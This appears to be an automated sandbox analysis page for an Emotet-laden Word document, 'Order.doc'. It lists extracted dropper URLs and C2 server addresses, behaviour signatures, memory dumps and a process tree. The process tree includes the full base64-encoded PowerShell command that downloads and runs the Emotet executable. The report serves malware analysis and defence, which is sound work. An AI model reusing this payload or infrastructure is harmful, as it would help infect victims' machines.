Overview

overview

10

Static

static

8

Order.doc

windows7_x64

10

Order.doc

windows10_x64

10

Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows7_x64
  • resource
    win7v200722
  • submitted
    14/10/2020, 15:42

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    Order.doc
  • Size 133KB
  • Sample201014-zghbdq2q4a
  • SHA256 a01664c0e8eb5300423e2515263d5ed8970667afb7fc31d8ec9e43fdfbeafffd
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://transfersuvan.com/wp-admin/07HDv9jur/
  • exe.dropper

    http://colfarse.com.ar/colfar/A/
  • exe.dropper

    http://ruralagricola.com.br/wp-admin/HZ5sy3nL7/
  • exe.dropper

    http://vzminternational.com.br/wp-content/bD4sA/
  • exe.dropper

    http://intc.solutions/wp-content/ig9N/
  • exe.dropper

    http://helionspharmaceutical.com/wp-admin/gO0/
  • exe.dropper

    http://uniteddatabase.net/wp-admin/SjcXyYo/

Extracted

Family

  • emotet

Botnet

  • Epoch3

C2

  • 125.200.20.233:80

  • 93.186.197.189:7080

  • 188.166.220.180:7080

  • 192.175.111.217:7080

  • 118.243.83.70:80

  • 103.80.51.61:8080

  • 185.80.172.199:80

  • 172.96.190.154:8080

  • 116.202.10.123:8080

  • 46.105.131.68:8080

  • 223.17.215.76:80

  • 192.210.217.94:8080

  • 190.194.12.132:80

  • 115.79.59.157:80

  • 190.191.171.72:80

  • 24.231.51.190:80

  • 203.153.216.178:7080

  • 175.103.38.146:80

  • 36.91.44.183:80

  • 213.165.178.214:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 3 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Order.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:868
  • C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
    POwersheLL -ENCOD JABGAHMAZwA2AGgANwA3AD0AWwBjAGgAYQByAF0ANAAyADsAJABKAGcAMwB2AG8ANQA3AD0AKAAoACcAUQBtACcAKwAnAGMAJwApACsAJwBwAGkAJwArACcANQB5ACcAKQA7AC4AKAAnAG4AZQB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAEUATgBWADoAdQBTAGUAUgBQAFIAbwBGAEkATABlAFwAdABjAGUAcQBCAFcAbQBcAEQAYwB4AFcARwBDAEsAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAHIARQBjAHQAbwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAZQBjAGAAVQBgAFIAaQB0AFkAYABwAHIAbwBUAE8AQwBgAG8AbAAiACAAPQAgACgAJwB0AGwAJwArACcAcwAxACcAKwAoACcAMgAnACsAJwAsACAAdAAnACkAKwAnAGwAcwAnACsAKAAnADEAMQAsACAAdAAnACsAJwBsAHMAJwApACkAOwAkAEwAawBtAG8AcABvAHoAIAA9ACAAKAAnAFUAOQAnACsAKAAnAHAAJwArACcAcgB1AHUAJwApACsAJwBmACcAKQA7ACQAWQBnAGoAbgAzAGMAeQA9ACgAJwBHAGoAJwArACcAcgAnACsAKAAnAGIAJwArACcAZQBsADMAJwApACkAOwAkAEQAegBkAGcAdQB5AF8APQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcAewAnACsAJwAwAH0AJwArACcAVAAnACsAJwBjAGUAJwArACcAcQBiAHcAbQB7ADAAfQAnACsAKAAnAEQAYwB4ACcAKwAnAHcAZwAnACkAKwAnAGMAawAnACsAJwB7ADAAfQAnACkAIAAtAGYAWwBDAEgAQQByAF0AOQAyACkAKwAkAEwAawBtAG8AcABvAHoAKwAoACcALgAnACsAKAAnAGUAeAAnACsAJwBlACcAKQApADsAJABGAHgANQB6AHUAOAA5AD0AKAAnAEsAJwArACgAJwBuADQAJwArACcAagB4ADQAJwApACsAJwBuACcAKQA7ACQATwA1ADgAMwBsAGsAaQA9ACYAKAAnAG4AZQB3AC0AJwArACcAbwAnACsAJwBiAGoAZQBjAHQAJwApACAATgBlAHQALgBXAGUAYgBjAEwASQBlAG4AdAA7ACQAUABuAG0AaAA2ADIAaAA9ACgAKAAnAGgAJwArACcAdAAnACsAJwB0AHAAOgAvAC8AJwApACsAKAAnAHQAcgAnACsAJwBhAG4AcwAnACsAJwBmACcAKQArACcAZQAnACsAJwByACcAKwAnAHMAdQAnACsAJwB2ACcAKwAoACcAYQBuAC4AYwAnACsAJwBvAG0AJwApACsAJwAvAHcAJwArACgAJwBwAC0AYQBkAG0AaQBuACcAKwAnAC8AJwApACsAJwAwACcAKwAnADcAJwArACgAJwBIAEQAJwArACcAdgAnACkAKwAnADkAagAnACsAKAAnAHUAcgAnACsAJwAvACoAJwApACsAJwBoAHQAJwArACgAJwB0AHAAJwArACcAOgAnACsAJwAvAC8AJwArACcAYwBvAGwAZgBhAHIAJwApACsAJwBzACcAKwAoACcAZQAuAGMAJwArACcAbwBtACcAKQArACgAJwAuACcAKwAnAGEAcgAvAGMAbwAnACkAKwAoACcAbAAnACsAJwBmAGEAJwApACsAKAAnAHIALwBBAC8AKgAnACsAJwBoAHQAdABwACcAKwAnADoAJwApACsAKAAnAC8ALwByACcAKwAnAHUAJwApACsAKAAnAHIAYQBsAGEAZwByACcAKwAnAGkAJwApACsAJwBjAG8AJwArACgAJwBsAGEAJwArACcALgBjACcAKQArACcAbwAnACsAKAAnAG0ALgBiACcAKwAnAHIAJwApACsAKAAnAC8AJwArACcAdwBwAC0AYQBkAG0AaQAnACsAJwBuACcAKQArACcALwAnACsAKAAnAEgAWgAnACsAJwA1AHMAJwApACsAKAAnAHkAJwArACcAMwBuACcAKQArACgAJwBMACcAKwAnADcAJwArACcALwAqAGgAdAAnACkAKwAoACcAdAAnACsAJwBwADoAJwApACsAJwAvAC8AJwArACcAdgB6ACcAKwAoACcAbQBpACcAKwAnAG4AJwApACsAJwB0ACcAKwAoACcAZQByACcAKwAnAG4AYQB0AGkAJwApACsAKAAnAG8AbgAnACsAJwBhAGwAJwApACsAJwAuACcAKwAnAGMAbwAnACsAJwBtACcAKwAoACcALgBiACcAKwAnAHIALwB3AHAALQBjACcAKwAnAG8AJwApACsAKAAnAG4AdAAnACsAJwBlACcAKQArACgAJwBuAHQALwBiACcAKwAnAEQANABzACcAKQArACgAJwBBAC8AJwArACcAKgAnACkAKwAnAGgAJwArACgAJwB0AHQAcAA6ACcAKwAnAC8AJwApACsAKAAnAC8AaQAnACsAJwBuACcAKQArACgAJwB0ACcAKwAnAGMALgBzAG8AbAB1ACcAKQArACgAJwB0AGkAJwArACcAbwAnACkAKwAnAG4AJwArACcAcwAnACsAKAAnAC8AdwAnACsAJwBwAC0AYwAnACkAKwAnAG8AbgAnACsAJwB0AGUAJwArACgAJwBuAHQALwAnACsAJwBpAGcAJwApACsAJwA5ACcAKwAoACcATgAnACsAJwAvACoAaAB0ACcAKQArACgAJwB0AHAAJwArACcAOgAvACcAKwAnAC8AaAAnACkAKwAoACcAZQBsACcAKwAnAGkAJwApACsAKAAnAG8AJwArACcAbgBzACcAKQArACgAJwBwAGgAYQByAG0AYQBjACcAKwAnAGUAJwArACcAdQB0ACcAKQArACgAJwBpAGMAJwArACcAYQAnACkAKwAnAGwAJwArACcALgAnACsAJwBjAG8AJwArACcAbQAnACsAJwAvACcAKwAoACcAdwBwACcAKwAnAC0AYQAnACkAKwAoACcAZAAnACsAJwBtAGkAbgAvAGcATwAwAC8AKgAnACsAJwBoAHQAdABwADoALwAvACcAKwAnAHUAJwArACcAbgBpAHQAJwApACsAKAAnAGUAZABkACcAKwAnAGEAdABhACcAKQArACcAYgBhACcAKwAoACcAcwBlAC4AbgBlAHQAJwArACcALwB3AHAAJwApACsAKAAnAC0AYQBkAG0AJwArACcAaQBuACcAKQArACcALwAnACsAJwBTACcAKwAoACcAagBjAFgAJwArACcAeQAnACkAKwAnAFkAbwAnACsAJwAvACcAKQAuACIAcwBQAGAATABJAFQAIgAoACQARgBzAGcANgBoADcANwApADsAJABBADkAdwBpAHYAdAAxAD0AKAAoACcAUwA4ACcAKwAnAGcAJwApACsAJwAwAG4AJwArACcAdwBnACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAFcAbABnAGsAOQBwAHoAIABpAG4AIAAkAFAAbgBtAGgANgAyAGgAKQB7AHQAcgB5AHsAJABPADUAOAAzAGwAawBpAC4AIgBEAE8AVwBgAE4ATABgAE8AYQBgAEQAZgBJAGwARQAiACgAJABXAGwAZwBrADkAcAB6ACwAIAAkAEQAegBkAGcAdQB5AF8AKQA7ACQARQBzAGsAOQAyAHEAagA9ACgAJwBGACcAKwAoACcAOQA5AHAAagAnACsAJwBwACcAKQArACcAdAAnACkAOwBJAGYAIAAoACgAJgAoACcARwBlAHQAJwArACcALQBJAHQAJwArACcAZQBtACcAKQAgACQARAB6AGQAZwB1AHkAXwApAC4AIgBMAGUAbgBnAGAAVABoACIAIAAtAGcAZQAgADIAOAA3ADUAMAApACAAewAmACgAJwBJAG4AdgBvAGsAJwArACcAZQAnACsAJwAtACcAKwAnAEkAdABlAG0AJwApACgAJABEAHoAZABnAHUAeQBfACkAOwAkAFEAXwBnAHoAdABuAHkAPQAoACgAJwBIAF8AJwArACcAeQAxACcAKQArACgAJwBfACcAKwAnADkANAAnACkAKQA7AGIAcgBlAGEAawA7ACQASQBjAGUAdABxAGQAdgA9ACgAJwBPAF8AJwArACcAeAB2ACcAKwAoACcAawBrACcAKwAnAGsAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFQAYgAxAHgAXwA0AHgAPQAoACgAJwBQACcAKwAnAGEAcQBxAHcAJwApACsAJwBtAGoAJwApAA==
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1664
    • C:\Users\Admin\Tceqbwm\Dcxwgck\U9pruuf.exe
      "C:\Users\Admin\Tceqbwm\Dcxwgck\U9pruuf.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1856
      • C:\Windows\SysWOW64\NlsLexicons000f\KBDSMSNO.exe
        "C:\Windows\SysWOW64\NlsLexicons000f\KBDSMSNO.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:1412

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/868-2-0x0000000008890000-0x0000000008894000-memory.dmp
        Download

        memory/1412-22-0x00000000003C0000-0x00000000003DD000-memory.dmp
        Download

        memory/1412-21-0x00000000003A0000-0x00000000003BF000-memory.dmp
        Download

        memory/1484-23-0x000007FEF58D0000-0x000007FEF5B4A000-memory.dmp
        Download

        memory/1664-10-0x00000000023C0000-0x00000000023C1000-memory.dmp
        Download

        memory/1664-13-0x000000001C430000-0x000000001C431000-memory.dmp
        Download

        memory/1664-12-0x000000001C260000-0x000000001C261000-memory.dmp
        Download

        memory/1664-11-0x0000000002470000-0x0000000002471000-memory.dmp
        Download

        memory/1664-9-0x000000001AC50000-0x000000001AC51000-memory.dmp
        Download

        memory/1664-8-0x0000000002300000-0x0000000002301000-memory.dmp
        Download

        memory/1664-7-0x000007FEE9E90000-0x000007FEEA87C000-memory.dmp
        Download

        memory/1856-16-0x0000000001D70000-0x0000000001D8F000-memory.dmp
        Download

        memory/1856-17-0x0000000001D90000-0x0000000001DAD000-memory.dmp
        Download